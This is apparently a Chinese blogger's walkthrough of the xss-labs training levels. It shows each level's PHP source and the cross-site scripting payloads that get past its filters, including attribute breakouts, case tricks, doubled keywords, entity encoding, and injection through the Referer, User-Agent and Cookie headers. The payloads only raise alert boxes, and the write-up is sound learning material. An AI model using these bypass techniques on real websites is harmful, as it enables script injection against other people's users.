打一下xss-labs
level 1
可以直接用payload:
1
| <script>alert("1")</script>
|
level 2
自己没试出来,去网上找payload,发现闭合型标签注入可用:
1
| "><script>alert('XSS')</script>
|
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
分析一下源码,先是有htmlspcialchar来进行转义特殊字符,但是在下面的.$str.没有,所以也不需要考虑绕过
如果插入:
1
| "><script>alert('XSS')</script>
|
会变成:
1
| <input name=keyword value="'"><script>alert('XSS')</script>'">
|
这里是先闭合了双引号,再闭合了input的尖括号,最后的script就变成了新元素执行了
level 3
先尝试:
1
| <script>aler('XSS')</script>
|
查看返回页面原码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <h2 align=center>没有找到和<script>alert("1")</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert("1")</script>'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level3.png></center> <h3 align=center>payload的长度:27</h3></body> </html>
|
全都进行了转义,
学习了网上的 onfocus事件绕过
在不需要<>的情况下完成绕过,大概就是在用户触发onfocus时会调用 onfocus=”myFuncuntion()” 里的myFuncuntion,但是面对未知源码的网站我们不知道有什么确切的函数
所以使用JavaScript伪协议进行绕过,
JavaScript 协议(javascript:)是一种特殊的 URL 协议,用于在浏览器中直接执行 JavaScript 代码
示例用法:
1
| javascript:alert('Hello, World!');
|
所以构造payload:
1 2 3 4 5 6 7 8 9 10 11
| finish' onfocus=javascript:alert('XSS') '
这时候:
<input name=keyword value='114514'>
会变成:
<input name=keyword value='finish' onfocus=javascript:alert('XSS') ''>
这时候点击输入框触发onfocus就能执行
|
level 4
先查看一下页面源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <h2 align=center>没有找到和114514相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value="114514"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level4.png></center> <h3 align=center>payload的长度:6</h3></body> </html>
|
注意到与level 3 只是 单引号 变成了 双引号
遂构造:
1
| finish" onfocus=javascript:alert('XSS') "
|
完成挑战
level 5
先看一下前端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和find a way out!相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="find a way out!"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:15</h3></body> </html>
|
怎么感觉,和上一关一样啊?
但是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和finish" onfocus=javascript:alert('xss') "相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="finish" o_nfocus=javascript:alert('xss') ""> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:42</h3></body> </html>
|
onfocus 里 on 变成 o_n 了。
onfocus
去docker里看了一眼源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
|
依旧没有转义input里的str,那尝试构造:
1
| '" ><a href=javascript:alert()>HIHI</a> <"'
|
成功
level 6
可以通过大小写绕过on和er的转义:
payload:
1
| '" ><a hRef=javascript:alert()>HIHI</a> <"'
|
level 7
随便填个payload,然后查看页面源码。
发现这次是直接吧关键词过滤了,大小写绕不过了;
联想到sql注入类似的场景,双写试一下?
1
| '" ><a hrhrefef=javascript:alert()>HIHI</a> <"'
|
成功了,但是点击不了,换一条payload看看呢:
1
| finish" oonnfocus=javascript:alert('XSS') "
|
成功!
level 8
这里多了个添加友情连接,大概就是输入插入里面,源码看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <center> <form action=level8.php method=GET> <input name=keyword value="finish" oonnfocus=javascript:alert('xss') ""> <input type=submit name=submit value=添加友情链接 /> </form> </center><center><BR><a href="finish" oo_nnfocus=javascr_ipt:alert('xss') "">友情链接</a></center><center><img src=level8.jpg></center> <h3 align=center>payload的长度:53</h3></body> </html>
|
强制转化为小写并且全部转义。。。
忍不住看来网上的wp,说是href会自动编译自己链接里的unioncode,
但🈶又问了一下ai:
在 HTML 中,href 属性本身不会“编译” Unicode,但浏览器在解析 HTML 和处理 URL 时,会按照标准对 Unicode 字符进行编码和解码。这可能会让你产生“自动编译”的错觉。
然后🈶又找了一下,发现并不是浏览器解析unioncode的原因,是href会解析html实体的原因
能通过将payload编译为html的十进制或十六进制实体来进行绕过:
1
| javascript:alert()
|
这段在赛博厨子里自动识别为:HTML Entity
所以说并不是unioncode
level 9
上一关的payload就直接被band了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level10.php?keyword=well done!"; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <center> <form action=level9.php method=GET> <input name=keyword value="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;"> <input type=submit name=submit value=添加友情链接 /> </form> </center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center> <h3 align=center>payload的长度:101</h3></body> </html>
|
只能去看源码了吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level10.php?keyword=well done!"; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
|
我们必须让输入包含 http://,否则不会把我们的输入插入到 href 中!
这样的话,使用内联注释付 /**/,在sql中也常用作空格绕过
payload:
1
| javascript:alert()
|
level 10
这关的注入点在url上
看网上wp,有其他传参参数?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
“t_sort”就过滤了尖括号而已,还是上网找了答案:
playlaod:
1
| ?t_sort=" onfocus=javascript:alert() type="text
|
这样源码就变成了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <h2 align=center>没有找到和相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" onfocus=javascript:alert() type="text" type="hidden"> </form> </center><center><img src=level10.png></center> <h3 align=center>payload的长度:0</h3></body> </html>
|
此时的:
1
| <input name="t_sort" value="" onfocus=javascript:alert() type="text" type="hidden">
|
新的type=”text”就覆盖了原来的type,就能让输入框显示出来了
隐藏的input标签可以插入type=”text”显示
ai的解释:
1 2 3 4 5 6
| 即使最终 DOM 中有两个 type,但只要浏览器曾经把它当作 text 处理,它就可能:
在页面上占据空间 可以获得焦点 可以触发 onfocus 而 onfocus 事件不依赖 type 最终值,只要元素能获得焦点即可。
|
level 11
先看一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
看到$str和$str00都会被转义,但http报头会被引用?
那注入点就是在报头了,和ai沟通一波,
最后再把上一题的payload拿来用,在http报头加上payload:
1
| Referer: '" onfocus="alert(1)" type="text" "
|
level 12
依旧先偷看一眼源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level13.php?keyword=good job!"; } </script> <title>欢迎来到level12</title> </head> <body> <h1 align=center>欢迎来到level12</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html
|
依旧报头注入,这次变成USER_AGENT了
也是直接拿上题payload来用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /level12.php HTTP/1.1 Host: localhost sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: '" onfocus="alert(1)" type="text" " Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive
|
level 13
进页面先有个php语法报错:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/html/level13.php:1) in <b>/var/www/html/level13.php</b> on line <b>16</b><br /> <h2 align=center>没有找到和相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_cook" value="" type="hidden"> </form> </center><center><img src=level13.png></center> <h3 align=center>payload的长度:0</h3></body> </html> ``` 看样子是无法解析报头
开源码看看:
```php <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
|
e,是cookie吗
那在cookie注入即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| GET /level13.php HTTP/1.1 Host: localhost Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: user='%22%20onfocus%3d%22alert(1)%22%20type%3d%22text%22%20%22
|
level 14
这关加载了一个奇怪的图片?
1 2 3 4 5 6 7 8 9 10
| <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center> </body> </html>
|
看看源码吧:
1 2 3 4 5 6 7 8 9 10
| <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center> </body> </html>
|
???
查了一下,网站是一个exif查看器用来查看图片信息的
那思考一下,竟然都是在我的前端上解析的,那我改host是不是能指向我想指向的ip?
和ai探讨了一下,在比赛中一般是有bot来当做用户来访问触发我的xss,而我是不能修改他们的host的
所以另一个方向是上传一张会返回xss的图片?
问题是在我的环境上无法打开网站,提示:
Please turn off your ad blocker.
要我关掉我的广告拦截器?
关了edge的一个相关功能,还是打不开。
上网找wp吧。参考文章
网站会解析图片的exif信息,然后返回到前端,在图片的exif里插入xss即可完成攻击
level 15
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <html ng-app> <head> <meta charset="utf-8"> <script src="angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
|
只发现可src一个传入点,给ai看了一下,好像要有中间件绕过?
上网看wp:
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
竟然能直接包含第一关?
1
| 所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload
|
所以就是攻击包含的代码来达到攻击的效果吗?
1
| ?src='/level1.php?name=<img src="fff" onerror=alert()>'
|
通关
源wp是下面的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| ?src='/level1.php?name=<img src=1 onmouseover=alert()>' ```
## level 16
依旧偷看源码: ```php <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html>
|
这都过滤了啥?
php的空格绕过是经典必考了,上网一查就有,
payload:
1
| <img%0asrc="fff"%0aonerror=alert()>
|
level 17
开题就显示插件不支持。。。。
前端html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>
|
还是看看源码吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>
|
依旧看(wp)[https://blog.csdn.net/l2872253606/article/details/125638898#:~:text=%E7%9B%AE%E5%BD%95level%201level%202level]
大概是考了embad区域?
选择了改一下源码。。。
变成了:
1
| echo "<embed src=indce.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
|
尝试了:
1
| ?arg01=onclick&arg02=alert(1)
|
不行,注意到写法里的引号
然而正确的payload为:
少了个空格也不行
当为arg01时:
1
| <embed src=index.png? onclick=alert(1)= width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
|
当为 ?arg01=onclick&arg02=alert(1) 时:
1
| <embed src=index.png?onclick=alert(1) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
|
所以说只有当 ?arg02= onclick=alert() 才能构成:
1
| <embed src=index.png?= onclick=alert() width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
|
这时的 onclick=alert() 才是生效的
level 18
也是和上题一样改了一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level19.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level18</title> </head> <body> <h1 align=center>欢迎来到level18</h1> <?php ini_set("display_errors", 0); echo "<embed src=index.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> </body> </html>
|
没看出来有啥区别,同一个payload过了:
level 19
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level20.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level19</title> </head> <body> <h1 align=center>欢迎来到level19</h1> <?php ini_set("display_errors", 0); echo '<embed src="index.png?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; ?> </body> </html>
|
需要绕过引号
看了网上wp,需要用flash的漏洞,现在网站很多都不用flash了
level 20
还是考flash。。。
算了,放过我自己吧,,,